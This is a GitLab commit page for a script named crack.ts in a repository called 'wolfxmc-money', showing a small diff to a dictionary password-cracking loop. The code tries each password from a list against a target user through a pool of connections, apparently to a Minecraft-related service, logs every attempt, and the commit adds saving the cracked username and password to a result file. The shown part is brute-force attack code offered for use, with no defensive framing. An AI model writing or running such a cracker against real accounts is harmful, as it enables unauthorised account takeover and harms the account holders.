Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Support
Keyboard shortcuts
?
Submit feedback
Sign in / Register
Toggle navigation
W
wolfxmc-money
Project overview
Project overview
Details
Activity
Releases
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Locked Files
Issues
0
Issues
0
List
Boards
Labels
Service Desk
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Security & Compliance
Security & Compliance
Dependency List
License Compliance
Packages
Packages
List
Container Registry
Analytics
Analytics
CI / CD
Code Review
Insights
Issues
Repository
Value Stream
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
nanahira
wolfxmc-money
Commits
564408f1
Commit
564408f1
authored
Jan 15, 2021
by
nanahira
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
write result to file
parent
0bb2f7bd
Pipeline
#2131
passed with stages
in 50 seconds
Changes
1
Pipelines
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
2 additions
and
1 deletion
+2
-1
crack.ts
crack.ts
+2
-1
No files found.
crack.ts
View file @
564408f1
...
@@ -40,11 +40,12 @@ async function runOnce() {
...
@@ -40,11 +40,12 @@ async function runOnce() {
try
{
try
{
for
(
let
i
=
lastSequence
;
i
<
dict
.
length
;
++
i
)
{
for
(
let
i
=
lastSequence
;
i
<
dict
.
length
;
++
i
)
{
const
password
=
dict
[
i
];
const
password
=
dict
[
i
];
await
fs
.
writeFile
(
"
./data/last.json
"
,
JSON
.
stringify
({
lastSequence
:
i
}));
await
fs
.
writeFile
(
"
./data/last.json
"
,
JSON
.
stringify
({
lastSequence
:
i
}
,
null
,
2
));
const
mc
=
await
pool
.
pickOne
();
const
mc
=
await
pool
.
pickOne
();
console
.
log
(
`Trying password
${
password
}
`
);
console
.
log
(
`Trying password
${
password
}
`
);
if
(
await
tryPassword
(
mc
,
password
))
{
if
(
await
tryPassword
(
mc
,
password
))
{
console
.
log
(
`Success. Username:
${
targetUser
}
Password:
${
password
}
`
);
console
.
log
(
`Success. Username:
${
targetUser
}
Password:
${
password
}
`
);
await
fs
.
writeFile
(
"
./data/result.json
"
,
JSON
.
stringify
({
username
:
targetUser
,
password
:
password
},
null
,
2
));
break
;
break
;
}
}
}
}
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment